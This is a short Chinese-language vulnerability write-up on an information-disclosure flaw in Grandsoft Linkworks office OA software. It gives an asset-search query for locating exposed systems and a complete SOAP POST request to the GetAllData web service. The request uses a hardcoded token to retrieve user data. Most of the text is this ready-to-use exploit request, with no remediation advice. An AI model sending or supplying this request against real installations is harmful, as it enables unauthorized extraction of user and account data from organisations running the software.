广联达OA GetAllData 存在信息漏洞
一、漏洞简介
广联达Linkworks办公OA（Office Automation）是一款综合办公自动化解决方案，旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具，帮助企业管理和处理日常办公任务、流程和文档。广联达OA GetAllData 存在信息漏洞。
二、影响版本
- 广联达办公OA
三、资产测绘
- app.name="广联达 OA"
- 登录页面
四、漏洞复现
POST /WebService/Lk6SyncService/MrMMSSvc/DataSvc.asmx HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
SOAPAction: http://tempuri.org/GetAllData
Content-Type: text/xml;charset=UTF-8
Host:
Content-Length: 379
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:GetAllData>
<!--type: string-->
<tem:Token>!@#$asdf$#@!</tem:Token>
<!--type: string-->
<tem:DataType>user</tem:DataType>
</tem:GetAllData>
</soapenv:Body>
</soapenv:Envelope>